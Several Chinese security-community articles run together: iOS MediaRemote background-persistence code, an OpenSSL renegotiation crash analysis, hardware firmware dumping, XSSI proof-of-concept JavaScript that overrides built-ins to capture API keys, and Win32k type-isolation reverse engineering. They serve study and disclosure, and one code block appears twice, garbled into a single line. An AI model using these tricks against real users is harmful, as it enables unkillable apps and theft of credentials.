启动任意 App 的问题正好在当时的 iOS 上存在，使得原本没有对第三方开放的计算器应用能被运行起来。
当然直到现在计算器也只能通过捷径启动，第三方 App 无法主动打开。
通过这种机制启动的应用不会在前台显示界面，除非 App 响应了对应的事件：AppDelegate 的
-remoteControlReceivedWithEvent:。
在 iOS 上有后台播放机制。如果注册了对应的系统广播事件，以及设置了特定的 Info.plist，就可以在播放音频时进入后台而不会被冻结。我发现
MediaRemote 的这个问题居然还有延长 App 后台时间的副作用（妙用），一次可以 _续 30 秒_ ，而同时又不会占用全局的播放器。
那么每隔 10 秒让 mediaremoted 给我们增加后台时间，就可以一直运行下去。
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
[application beginReceivingRemoteControlEvents]; // register to RemoteControl
wake([[NSBundle mainBundle] bundleIdentifier]); // 30 more seconds for background
return YES;
}
void wake(NSString *bundle) {
id client = MRNowPlayingClientCreate(nil, bundle);
NSDictionary *args = @{@"kMRMediaRemoteOptionDisableImplicitAppLaunchBehaviors": @0};
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
MRMediaRemoteSendCommandToClient(2, args, nil, client, 1, 0, nil);
}
// this callback will be triggered by MediaRemote
-(void)remoteControlReceivedWithEvent:(UIEvent *)event {
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 10 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
wake([[NSBundle mainBundle] bundleIdentifier]); // or other app bundle
}); // renewal after 10 seconds
}NSDictionary *)launchOptions { [application beginReceivingRemoteControlEvents]; // register to RemoteControl wake([[NSBundle mainBundle] bundleIdentifier]); // 30 more seconds for background return YES;}void wake(NSString *bundle) { id client = MRNowPlayingClientCreate(nil, bundle); NSDictionary *args = @{@"kMRMediaRemoteOptionDisableImplicitAppLaunchBehaviors": @0}; dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); MRMediaRemoteSendCommandToClient(2, args, nil, client, 1, 0, nil);}// this callback will be triggered by MediaRemote-(void)remoteControlReceivedWithEvent:(UIEvent *)event { dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 10 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ wake([[NSBundle mainBundle] bundleIdentifier]); // or other app bundle }); // renewal after 10 seconds}
但即使是音乐播放器，还是会被向上滑动的手势杀死。
考虑一种常见的情况。
假设安装了至少两个来自同一开发者的应用：“金刚狗”和“活侍”。只要有两个不同的 App
同时使用了这个技巧，在运行期间互相唤醒，就可以创建出一个和用户手势的竞争条件，变成两个杀不死的 App。试问用户的手速如何赶上代码执行的速度？
这个视频展示了 12.0.1 上的效果:
只要启动任意一个 App，就可以在后台唤醒全家桶。全家桶之间进一步互相唤醒，即使用户手动“杀死”了进程，在前台看不到任何 App
运行的迹象，任务列表也是空的。实际上 Wade 和 Logan 在后台运行得正欢，分秒必争地燃烧着你的电池。
视频详见原文链接：<https://mp.weixin.qq.com/s/tnupXwfR5EDhZif7t9vR1w>
这个问题在 iOS 13 之前早已修复。本文仅作技术探讨，分析一种开发者作恶的情况。 **请不要将这种小动作带到生产环境。**
参考阅读:
1. <https://github.com/ssd-secure-disclosure/typhooncon2019/blob/f253778bf80de7358545a547722483a677508eef/Zhi%20Zhou%20-%20I%20Want%20to%20Break%20Free%20%28TyphoonCon%29.pdf> I Want to Break Free - Unusual Logic Safari Sandbox Escape
2. <https://blog.chichou.me/2020/05/27/revisiting-an-old-mediaremote-bug-cve-2018-4340/> Revisiting an old MediaRemote bug (CVE-2018-4340)
* * * | 社区文章 |
# 【技术分享】OpenSSL握手重协商过程中存在漏洞可导致拒绝服务
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/vulnerable-openssl-handshake-renegotiation-can-trigger-denial-service/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**预估稿费：100RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
OpenSSL是一个非常流行的通用加密库，可为Web认证服务提供SSL/TLS协议的具体实现。最近以来，人们发现OpenSSL中存在几个漏洞。我们写过几篇文章分析这些漏洞，包括“[
**CVE-2017-3731：截断数据包可导致OpenSSL拒绝服务**](https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/)”、“[
**SSL死亡警告（CVE-2016-8610）可导致OpenSSL服务器拒绝服务**](https://securingtomorrow.mcafee.com/mcafee-labs/ssl-death-alert-cve-2016-8610-can-cause-denial-of-service-to-openssl-servers/)”等。今天，我们将要分析的是CVE-2017-3733这个高危级漏洞，即Encrypt-Then-MAC（加密后消息认证码）重新协商崩溃漏洞，可导致OpenSSL拒绝服务。
在使用SSL/TLS协议加密数据之前，OpenSSL会先发起Handshake协议（握手）以及ChangeCipherSpec协议（更改密钥规格）的处理流程。
在Handshake阶段，客户端和服务器共同协商使用哪种加密算法。一旦协商完成，客户端和服务器会各自向对方发送一个ChangedCipherSpec消息，之后通信流量会使用协商好的算法进行加密。
在SSL/TLS中，加密数据会与MAC（Message Authentication Code，消息认证码）一起，使用以下两种方式进行发送：
1、MAC-then-encrypt（消息认证码后加密）：这种方式会先计算纯文本的MAC，并将其与纯文本连接，再使用加密算法生成最终的密文。
2、Encrypt-then-MAC（加密后消息认证码）：这种方式会先加密纯文本，并将已加密纯文本的MAC附加在尾部，形成最终的密文。
如果ClientHello消息没有包含Encrypt-Then-Mac扩展，那么默认情况下使用的是MAC-then-encrypt模式。如果ClientHello消息包含Encrypt-Then-Mac扩展，那么服务器就会在加密数据后计算MAC。
如果客户端或服务器希望更改加密算法，它们可以重新协商之前已确认的密码套件（Cipher
Suites）。重新协商过程可以发生在数据传输的任何阶段中，只需要在已有的SSL连接中发起一个初始化Handshake即可。
**二、漏洞触发**
关于这个漏洞，OpenSSL的官方解释如下：
“在handshake重新协商中，如果协商过程中包含Encrypt-Then-Mac扩展，而原始的handshake中不包含该扩展（反之亦然），那么OpenSSL就会崩溃（取决于所使用的密码套件）。客户端和服务器都会受到影响”。
假设客户端使用默认的MAC-then-encrypt模式发起与服务器的TLS握手流程。如果客户端使用Encrypt-then-MAC扩展发起重新协商流程，并在ChangeCipherSpec消息之前以该模式发送加密数据，那么服务器就会崩溃，导致拒绝服务。
当客户端触发这个漏洞时，服务器的崩溃点位于“ssl3_get_record”函数中，该函数位于“ssl3_record.c”文件中，如下所示：
崩溃点位于352行，此时程序正在检查mac_size变量值是否小于EVP_MAX_MD_SIZE的值（64字节）：
if语句判断断言（assertion）语句是否成立，即判断服务器中是否设置了Encypt-then-MAC标识。if语句中的宏如下：
在重新协商过程中，当使用Encrypt-then-MAC扩展发送ClientHello报文时，TLS1_FLAGS_ECRYPT_THEN_MAC标识已经被设置。因此if条件满足，程序会进入if内部的处理流程。但是由于ChangeCipherSpec消息还没有传递给服务器，服务器并不知道它必须使用Encrypt-then-MAC扩展。
在352行设置断点，检查mac_size变量的值，我们发现该至为0xffffffff，这个值比EVP_MAX_MD_SIZE的值（64字节）大。因此断言错误，导致服务器崩溃。
让我们好好分析一下源码，看看为什么mac_size的值会是0xffffffff。我们发现EVP_MD_CTX_size函数负责计算mac_size变量的值：
上述代码中，如果md（message digest，消息摘要）的值为null，函数就会返回-1，而0xffffffff刚好是-1的[
**二进制补码形式**](https://en.wikipedia.org/wiki/Two's_complement)。这意味着“s->read_hash”语句会返回null，因为此时服务器会尝试使用MAC-then-encrypt模式计算哈希值。
以上就是OpenSSL漏洞的分析过程。 | 社区文章 |
作者：[独抒@伏宸安全实验室](http://mp.weixin.qq.com/s/-hybwgo804weUuOI_DEm0w "独抒@伏宸安全实验室")
#### 前言
上篇初步介绍一些硬件基础知识和分析硬件所需要的基本工具，本篇将讲述利用编程器直接读取芯片固件的方法。
#### 编程器读取
通过夹具夹住芯片引脚，然后连接编程器读取芯片内容，通过编程器连接芯片需要注意引脚的顺序，在IC芯片上都会有一个小点，大多数情况下，小点对应的引脚即为芯片的第一脚，而连接编程器的导线也需要插入编程器上相应的引脚。
###### 案例一：读取中控F7门禁固件
拆掉门禁外壳，通过电路图和芯片印字分析，在主板上有一颗FM25F04A存储芯片，通过夹具连接芯片到编程器，在通过专用编程器软件，对该芯片进行读取。
连接完成，确定引脚接线正确后，打开编程器对应软件，通过智能识别芯片ID，即可开始读取固件工作。
如无法识别，可根据印字说明，尝试类似的型号，一般情况下兼容。
点击读取，即可开始固件提取，成功之后会保存为BIN格式文件，打开即可看到16进制的内容，为下一步分析提供基础。
###### 案例二：读取某智能摄像头固件
拆掉摄像头外壳，通过分析PCB上的各个IC，找到Flash存储芯片。
在显微镜下，可以看到是一颗25L64型号的Flash芯片。
用夹具连接各引脚，并和编程器连接，进行固件读取。
识别到芯片型号为GD25Q64，点击读取，读取完毕后按照提示保存到文件。
打开保存的BIN文件或者查看缓冲区，即可看到固件内容。
在Ubuntu中，用binwalk解包固件，做进一步分析。
###### 案例三：读取某智能摄像头固件
打开外壳，在PCB背面发现一颗FLASH存储芯片
通过显微镜发现芯片型号为25L128。
连接编程器读取固件并保存。
###### 案例四：读取某路由器固件
打开外壳，发现PCB上有一颗Flash存储器，但厂商出于安全考虑，把芯片印字涂抹掉了。
在不知道芯片型号的情况下，我们连接该芯片，让编程器去尝试读取。
通过智能识别，发现编程器无法识别出具体型号，而因为Flash存储芯片的种类多样，通过查找又无法获得该路由器的具体参数，这时我们通过UART串口，读取出UBOOT启动信息，串口输出里面发现了该芯片型号为W25Q128BV。（下一篇将会重点介绍关于串口调试的方法）
在编程器中选择该型号，成功提取出固件。
用binwalk解包固件。
###### 案例五：读取某智能电饭锅固件
拆掉外壳，背面嵌有一块PCB，反面是WIFI处理芯片，正面为存储器，连接编程器。
通过印字分析为25芯片，存储大小为2M字节，尝试该型号芯片，成功读取固件。
###### 案例六：读取某网络监控摄像机固件
在PCB上找到一块25L128型号的Flash存储芯片。
通过夹具连接编程器。
识别到芯片为MX25L128，选择其中一种，成功提取固件。
用binwalk解包固件内容。
#### 拆焊芯片读取固件
对于某些机器，芯片引脚采用点锡丝网焊接在背面，引脚太小或没有暴露出引脚，就需要通过拆焊芯片来读取固件了。
通过热风枪和锡焊配合，很容易从PCB上把芯片拆焊出来，但在拆焊过程中，可能存在芯片因为过热被损坏，PCB上其他元器件被损坏，电路无法接通等风险，需要酌情考虑。
###### 热风枪和锡焊拆焊芯片读取固件
设置热风枪温度为400度，拆焊掉的芯片，通过转接座与编程器连接，同样需要注意芯片的引脚方向。
读取芯片固件并导出。
* * * | 社区文章 |
# 来源
在h1看到paypal的key信息泄露导致用户账户信息泄露，包括用户的用户名、邮箱等信息，并获得`1.5w$`奖金，分析完毕在freebuf上找到xssi相关文章，该文章在18年发布，但是当时对于该漏洞的看重程度还不是很高。
附上文章链接：
**fb：**[挖洞经验 |
看我如何发现雅虎XSSi漏洞实现用户信息窃取](https://www.freebuf.com/articles/web/179851.html)
**demo：**[血淋淋的事实告诉你：你为什么不应该在JS文件中保存敏感信息](https://www.freebuf.com/articles/web/185278.html)
**h1：** :`https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9`
# 漏洞原理
XSSI被称为跨站脚本包含漏洞，通常在开发过程中对数据的临时存储，存储在动态javascript文件中，方便全局对数据的调用。该数据通过服务端生成，临时存储在js文件中，被客户端进行使用，通过该功能进行数据处理、身份认证等处理；问题在于通过对动态js的调用，我们可以通过嵌入js文件对动态的js文件进行处理，获取的数据导致用户凭证等敏感信息泄露，如果存在xss漏洞，将js文件嵌入进去，危害将会十分大，paypal的案例就是最好的例子。
# show the code
* demo1
获取数组内容：
page:
(function(){
var secret = ["abc","def"];
secret.forEach(function(element){
//dosomething
});
})();
js_poc:
<script>
Array.prototype.forEach = function(callback){
var resultstring = "your secret are:<b>";
for (var i = 0,length=this.length;i<length;i++) {
if(i>0){
resultstring+=",";
}
resultstring += this[i];
}
resultstring +="</b>";
var div = document.getElementById("result");
div.innerHTML = resultstring;
};
</script>
* demo2
还是对一个数组进行遍历，获取内容
page:
(function(){
let secretArray = ["this","contains", "an", "API", "key"];
for (let element of secretArray) {
doSomething(element);
}
})()
poc
Array.prototype[Symbol.iterator]= function() {
let arr = this;
let index = 0;
console.log(arr)
return {
next: function() {
return {
value: arr[index++],
done: index > arr.length
}
}
}
};
* demo3
对定义的变量进行获取,此处的poc通过定义函数，使变量在定义的同时进行调用该函数，获取数据
page:
(function(){
"use strict";
var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29"
fetch('/api/v1/getusers', {
method: "POST",
body: "api_key=" + api_key
})
})()
poc
Object.prototype.__defineSetter__('api_key',function(value){
console.log("this value has been setting:");
console.log(value);
return this._api_key = value;
});
Object.prototype.__defineGetter__('api_key',function(value){
console.log("this value has been getting:");
console.log(value);
return this._api_key;
});
* demo4
通过对函数的覆写进行调用函数，获取数据
page
(function(){
"use strict";
var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29"
fetch('/api/v1/getusers', {
method: "POST",
body: "api_key=" + api_key
})
})()
poc
window.fetch= (url, options) => {
console.log(`URL: ${url}, data:${options.body}`);
alert(options.body);
};
* demo5
h1案例,通过泄露在js文件中的csrf和session进行用户凭证验证失败触发了google验证码机制后，完成google验证码机制，凭证验证的responce中会包含一个表单，包括用户的敏感信息，此时我们通过编写的poc_js文件触发该用户的google机制，然后用户通过google机制，将responce信息返回到我们的服务器。
js敏感信息泄露：
# 与jsonp劫持的关系
jsonp劫持等利用js对回调函数进行插入恶意代码，将敏感数据发送到攻击者的服务器，其实就是对存在jsonp劫持漏洞的网页进行发起一次请求，让其受害者客户端执行插入的恶意代码；而xssi主要获取服务器为每个客户端生成的动态js文件中的敏感数据，达到信息泄露的目的，这种信息可能包括用户的登录凭证，严重可导致任意用户账号接管。
# 防御
* 不在js文件中生成敏感数据
* 自定义复杂加密算法加密数据
* 启动csp内容安全策略，白名单化加载的js文件 | 社区文章 |
# 针对Win32k类型隔离缓解措施的逆向工程（下）
|
##### 译文声明
本文是翻译文章，文章原作者 Francisco Falcon ，文章来源：blog.quarkslab.com
原文地址：<https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 传送门：上篇https://www.anquanke.com/post/id/97498
## 前言
在上篇文章中，我们介绍了Windows 10秋季创意者更新（Windows 10 1709）中引入的类型隔离（Type
Isolation）功能，该功能是Win32k子系统中的一项漏洞利用缓解措施，会对SURFACE对象的内存布局（即内核端Bitmap的内部表示）进行拆分。在深入讲解了借助GDI
Bitmaps对象来实现内核漏洞利用的方法后，我们对类型隔离的数据结构和初始化过程进行了详细分析。在本文，我们继续对类型隔离进行详细的分析。
## 四、类型隔离的详细分析
### 4.3 分配
win32kfull!NtGdiCreateBitmap()系统调用负责创建GDI
Bitmap对象。win32kfull!NtGdiCreateBitmap()会对win32kbase!GreCreateBitmap()进行调用，而后者继而调用win32kbase!SURFMEM::bCreateDIB()。win32kbase!SURFMEM::bCreateDIB()的作用是为SURFACE对象分配内存。在此前版本的Windows中，Bitmap的像素数据缓冲区通常与SURFACE头部相连续。如上文所述，这样一来就使得我们可以通过破坏SURFACE头部的sizlBitmap成员，来“扩展”像素数据缓冲区，并使其与相邻Bitmap的SURFACE头部重叠。
从Windows
10秋季创意者版本开始，win32kbase!SURFMEM::bCreateDIB会确保SURFACE头部与像素数据缓冲区被分别分配，从而实现类型隔离的缓解。
像素数据缓冲区通过调用nt!ExAllocatePoolWithTag的Wrapper，可以直接在PagedPoolSession池中被分配：
SURFMEM::bCreateDIB+10B sub r15d, r12d ; alloc_size = requested_size - sizeof(SURFACE)
SURFMEM::bCreateDIB+10E jz short loc_1C0038F91
SURFMEM::bCreateDIB+110 call cs:__imp_IsWin32AllocPoolImplSupported
SURFMEM::bCreateDIB+116 test eax, eax
SURFMEM::bCreateDIB+118 js loc_1C00C54D6
SURFMEM::bCreateDIB+11E mov r8d, 'mbpG' ; Tag = 'Gpbm'
SURFMEM::bCreateDIB+124 mov edx, r15d ; NumberOfBytes = requested_size - sizeof(SURFACE)
SURFMEM::bCreateDIB+127 mov ecx, 21h ; PoolType = PagedPoolSession
SURFMEM::bCreateDIB+12C call cs:__imp_Win32AllocPoolImpl ; <<< allocation! only for the pixel_data_buffer
另一方面，SURFACE头部是由前文所述的CTypeIsolation结构，通过调用CTypeIsolation::AllocateType()来分配。确切地说，这一分配过程会返回一个位于Section对象视图上的缓冲区：
SURFMEM::bCreateDIB+16C mov rax, cs:uchar * * gpTypeIsolation
SURFMEM::bCreateDIB+173 mov rcx, [rax]
SURFMEM::bCreateDIB+176 test rcx, rcx
SURFMEM::bCreateDIB+179 jz loc_1C00C579D
SURFMEM::bCreateDIB+17F call NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)
SURFMEM::bCreateDIB+184 mov rsi, rax ; rsi = buffer for the SURFACE header
SURFMEM::bCreateDIB+187 test rax, rax ; the returned buffer is a View of a Section object
SURFMEM::bCreateDIB+18A jz loc_1C00C5791
通过深入研究CTypeIsolation::AllocateType()函数，我们了解到分配算法的工作原理。
CTypeIsolation::AllocateType()会对CSectionEntry对象列表进行遍历，针对每个CSectionEntry，它会调用nt!RtlFindClearBits来检查其CSectionBitmapAllocator是否在RTL_BITMAP结构中包含一个闲置位。通过借助CSectionBitmapAllocator的bitmap_hint_index成员，可以实现这一检查过程的加速。
.text:00000001C0039863 mov r8d, ebp ; HintIndex = 0
.text:00000001C0039866 cmp eax, 0F0h ; bitmap_hint_index >= RTL_BITMAP->size?
.text:00000001C003986B jnb short loc_1C0039870
.text:00000001C003986D mov r8d, eax ; HintIndex = bitmap_hint_index
.text:00000001C0039870
.text:00000001C0039870 loc_1C0039870: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+6Bj
.text:00000001C0039870 mov rcx, [rsi+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039874 mov edx, 1 ; NumberToFind
.text:00000001C0039879 xor rcx, [rsi+10h] ; BitMapHeader = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039879 ; ^ CSectionBitmapAllocator->xor_key
.text:00000001C003987D call cs:__imp_RtlFindClearBits
.text:00000001C0039883 mov r12d, eax ; r12 = free_bit_index
.text:00000001C0039886 cmp eax, 0FFFFFFFFh ; free_bit_index == -1?
.text:00000001C0039889 jz short loc_1C00398D6 ; if so, RTL_BITMAP is full, check another CSectionEntry
如果nt!RtlFindClearBits返回值为-1，那就表示RTL_BITMAP中所有位都为1（即RTL_BITMAP已满），接下来会尝试对列表中的下一个CSectionEntry重复该操作，我们接下来会进行研究。否则，如果nt!RtlFindClearBits返回了一个不为-1的值，则意味着RTL_BITMAP至少有一个闲置位，也就是说当前CSectionEntry的Section内存中至少有一个用于SURFACE头部的空闲位置。
因此，我们需要将nt!RtlFindClearBits()返回的RTL_BITMAP中闲置位的索引映射到Section视图中空闲位置的相应内存地址。为了实现这一点，闲置位的索引将会除以6，原因在于该Section的每个0x1000字节视图能够容纳6个大小为0x280的SURFACE头部。我在下面的反汇编代码中调用了view_index，这个view_index的范围是[0,
0x27]。因为每个Section的大小是0x28000字节，所以它可以被分为大小为0x1000的0x28个视图，并且在一个Section中会有0x28个视图可能被用来寻址。
这个view_index会与CSectionBitmapAllocator对象的num_commited_views成员中保存的当前实际视图数进行比较。
正如MSDN中（ <https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-memory-sections>
）所描述的那样：“在访问虚拟内存范围之前，没有为视图分配物理内存”。如果经过比较，view_index小于提交视图的计数，那么我们就不需要再提交一个新的视图，会直接进行分配。否则，就通过调用nt!MmCommitSessionMappedView，来计算相应视图的地址（first_view
+ view_index * 0x1000），并将其提交到物理内存之中。
.text:00000001C003988B mov eax, 0AAAAAAABh
.text:00000001C0039890 mul r12d
.text:00000001C0039893 mov eax, [rsi+24h] ; eax = CSectionBitmapAllocator->num_commited_views
.text:00000001C0039896 mov r15d, edx ; HI_DWORD(free_bit_index * 0xaaaaaaab) / 4 == free_bit_index / 6
.text:00000001C0039899 shr r15d, 2 ; r15d = view_index = free_bit_index / 6 (6 SURFACE headers fit in 0x1000 bytes)
.text:00000001C003989D cmp r15d, eax ; view_index < num_commited_views ?
.text:00000001C00398A0 jb loc_1C003998A ; if so, no need to commit a new 0x1000-byte chunk from the View
.text:00000001C00398A6 cmp eax, 28h ; num_commited_views >= MAX_VIEW_INDEX ?
.text:00000001C00398A9 jnb loc_1C003998A
.text:00000001C00398AF mov rbp, [rsi+8]
.text:00000001C00398AF ; rbp = CSectionBitmapAllocator->xored_view
.text:00000001C00398B3 mov edx, r15d ; edx = view_index
.text:00000001C00398B6 xor rbp, [rsi+10h] ; CSectionBitmapAllocator->xored_view ^ CSectionBitmapAllocator->xor_key
.text:00000001C00398BA shl edx, 0Ch ; view_index * 0x1000
.text:00000001C00398BD add rbp, rdx ; rbp = view + view_index * 0x1000
.text:00000001C00398C0 mov edx, 1000h ; edx = size to commit
.text:00000001C00398C5 mov rcx, rbp ; rcx = addr of view to commit
.text:00000001C00398C8 call cs:__imp_MmCommitSessionMappedView
成功提交后，0x1000字节的视图被初始化为0（该写操作实际上终止了提交过程），并且CSectionBitmapAllocator的num_commited_views成员会进行相应的更新。
.text:00000001C0039975 loc_1C0039975: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+D0j
.text:00000001C0039975 xor edx, edx ; Val
.text:00000001C0039977 mov r8d, 1000h ; Size
.text:00000001C003997D mov rcx, rbp ; Dst
.text:00000001C0039980 call memset ; this memset actually commits the memory
.text:00000001C0039985 inc dword ptr [rsi+24h] ; CSectionBitmapAllocator->num_commited_views++
.text:00000001C0039988 xor ebp, ebp
无论是否需要提交新的视图，RTL_BITMAP的闲置位索引都会通过调用nt!RtlSetBit()被设置为1，从而标记为忙状态。但奇怪的是，代码会调用nt!RtlSetBit()将其设置为1，但并不检查其返回值。此外，CSectionBitmapAllocator的bitmap_hint_index成员会不断递增1，但如果超出0xF0-1的最大值，它就会被重置为0。
.text:00000001C003998A mov rcx, [rsi+18h] ; rcx = CsectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C003998E mov edx, r12d ; BitNumber = free bit index
.text:00000001C0039991 xor rcx, [rsi+10h] ; BitMapHeader = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039991 ; ^ CSectionBitmapAllocator->xor_key
.text:00000001C0039995 call cs:__imp_RtlTestBit ; [!] return value not checked
.text:00000001C003999B mov rcx, [rsi+18h] ; rcx = CsectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C003999F mov edx, r12d ; BitNumber
.text:00000001C00399A2 xor rcx, [rsi+10h] ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C00399A6 call cs:__imp_RtlSetBit
.text:00000001C00399AC inc dword ptr [rsi+20h] ; CSectionBitmapAllocator->bitmap_hint_index++
.text:00000001C00399AF cmp dword ptr [rsi+20h], 0F0h ; CSectionBitmapAllocator->bitmap_hint_index >= bitmap size?
.text:00000001C00399B6 jnb short loc_1C0039A27
[...]
.text:00000001C0039A27 loc_1C0039A27: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+1B6j
.text:00000001C0039A27 mov [rsi+20h], ebp ; CSectionBitmapAllocator->bitmap_hint_index = 0
.text:00000001C0039A2A jmp short loc_1C00399B8
现在，我们已经将闲置位映射到相应的视图中，接下来需要在该视图中选择一个0x280字节的块。每个视图可以保存6个SURFACE头部（0x1000 /
0x280 == 6）。为实现这一点，会进行如下计算：free_bit_index – view_index *
6，该计算可简化为：free_bit_index % 6。
.text:00000001C00399B8 mov rax, [rsi+10h] ; rax = CSectionBitmapAllocator->xor_key
.text:00000001C00399BC mov ecx, r15d ; ecx = view_index
.text:00000001C00399BF mov rsi, [rsi+8] ; rsi = CSectionBitmapAllocator->xored_view
.text:00000001C00399C3 xor edx, edx
.text:00000001C00399C5 shl ecx, 0Ch ; ecx = view_index * 0x1000
.text:00000001C00399C8 xor rsi, rax ; rsi = xored_view ^ xor_key
.text:00000001C00399CB add rsi, rcx ; rsi = view + view_index * 0x1000
.text:00000001C00399CE mov rcx, rbx ; rcx = CSectionBitmapAllocator->pushlock
.text:00000001C00399D1 call cs:__imp_ExReleasePushLockExclusiveEx
.text:00000001C00399D7 call cs:__imp_KeLeaveCriticalRegion
.text:00000001C00399DD lea eax, [r15+r15*2] ; r15 == view_index
.text:00000001C00399E1 add eax, eax
.text:00000001C00399E3 sub r12d, eax ; r12d = free_bit_index - view_index * 6 == free_bit_index % 6
.text:00000001C00399E6 lea ebx, [r12+r12*4]
.text:00000001C00399EA shl ebx, 7 ; ebx = r12 * 0x5 * 0x80 == r12 * 0x280
.text:00000001C00399ED add rbx, rsi ; rbx += view + view_index * 0x1000
RBX在0x1C00399ED得到的值是新分配的SURFACE头部的地址，这个值是由CTypeIsolation::AllocateType()返回的。
那么，如果nt!RtlFindClearBits()返回的是-1，也就是在当前CSectionEntry的RTL_BITMAP已满的情况下，会发生什么呢？经过分析，会发生下面的条件跳转：
.text:00000001C0039870 mov rcx, [rsi+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039874 mov edx, 1 ; NumberToFind
.text:00000001C0039879 xor rcx, [rsi+10h] ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C003987D call cs:__imp_RtlFindClearBits
.text:00000001C0039883 mov r12d, eax ; r12 = free_bit_index
.text:00000001C0039886 cmp eax, 0FFFFFFFFh ; free_bit_index == -1?
.text:00000001C0039889 jz short loc_1C00398D6 ; if so, RTL_BITMAP is full, check another CSectionEntry
这一跳转检查CSectionEntry->next是否与CTypeIsolation相等，也就意味着我们此时已经到达了CSectionEntry对象列表的末尾。如果不相等，就会循环到下一个CSectionEntry对象，并重复该过程。
.text:00000001C00398D6 loc_1C00398D6: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+89j
.text:00000001C00398D6 lea rcx, [rsp+48h+arg_0]
.text:00000001C00398DB call NSInstrumentation::CAutoExclusiveCReaderWriterLock<NSInstrumentation::CPlatformReaderWriterLock>::~CAutoExclusiveCReaderWriterLock<NSInstrumentation::CPlatformReaderWriterLock>(void)
.text:00000001C00398E0 loc_1C00398E0: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+1F0j
.text:00000001C00398E0 mov r14, [r14] ; r14 = CSectionEntry->next
.text:00000001C00398E3 mov ebp, 0
.text:00000001C00398E8 cmp r14, r13 ; CSectionEntry->next == CTypeIsolation ?
.text:00000001C00398EB jnz loc_1C0039843 ; if not, keep traversing the list
否则，如果我们已经到达CSectionEntry对象列表的末尾，但没有找到一个空位置（也就是说，每个CSectionEntry都最大限度占用了0xF0
SURFACE头部），那么就会到达下面的代码位置。如下所示，会创建一个新的CSectionEntry，并且这个新的CSectionEntry的CSectionBitmapAllocator成员会调用CSectionBitmapAllocator::Allocate()。如我们所预期的那样，CSectionBitmapAllocator::Allocate()完成的几乎是之前描述的过程：在RTL_BITMAP中找到一个闲置位，提交与闲置位相对应的0x1000字节的视图，在RTL_BITMAP将该位标记为忙状态，并返回提交的视图中新创建的SURFACE头部的地址。
.text:00000001C00398F1 loc_1C00398F1: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+3Dj
.text:00000001C00398F1 xor edx, edx ; if we land here, that means that we finished traversing
.text:00000001C00398F1 ; the list of CSectionEntry, without finding an empty slot
.text:00000001C00398F3 mov rcx, rdi
.text:00000001C00398F6 call cs:__imp_ExReleasePushLockSharedEx
.text:00000001C00398FC call cs:__imp_KeLeaveCriticalRegion
.text:00000001C0039902 call NSInstrumentation::CSectionEntry<163840,640>::Create(void)
.text:00000001C0039907 mov rdi, rax ; rdi = new CSectionEntry
.text:00000001C003990A test rax, rax
.text:00000001C003990D jz short loc_1C003996D
.text:00000001C003990F mov rcx, [rax+20h] ; rcx = CSectionEntry->bitmap_allocator
.text:00000001C0039913 call NSInstrumentation::CSectionBitmapAllocator<163840,640>::Allocate(void) ; *** do the actual SURFACE header allocation
.text:00000001C0039918 mov rbp, rax ; rbp = return value, allocated SURFACE header
最后，新创建的CSectionEntry被插入在双链表的末尾，如下所示。请注意，在使用列表的指针之前会进行完整性检查：代码会验证CTypeIsolation->previous的下一个指针是否指向CTypeIsolation头。
.text:00000001C0039939 mov rcx, [r13+8] ; rcx = CTypeIsolation->previous
.text:00000001C003993D cmp [rcx], r13 ; CTypeIsolation->previous->next == CTypeIsolation ?
.text:00000001C0039940 jnz FatalListEntryError_9 ; if not, the list is corrupted
.text:00000001C0039946 mov [rdi+8], rcx ; CSectionEntry->previous = CTypeIsolation->previous
.text:00000001C003994A xor edx, edx
.text:00000001C003994C mov [rdi], r13 ; CSectionEntry->next = CTypeIsolation
.text:00000001C003994F mov [rcx], rdi ; CTypeIsolation->previous->next = CSectionEntry
.text:00000001C0039952 mov rcx, rbx
.text:00000001C0039955 add dword ptr [r13+18h], 0F0h ; CTypeIsolation->size += 0xF0
.text:00000001C003995D mov [r13+8], rdi ; CTypeIsolation->previous = CSectionEntry
### 4.4 释放
SURFACE对象的释放，是由win32kbase!SURFACE::Free()函数来完成的。该函数第一步会对像素数据缓冲区所分配的池进行释放：
.text:00000001C002DC9A cmp byte ptr [rbp+270h], 0 ; boolean is_kernel_mode_pixel_data_buffer
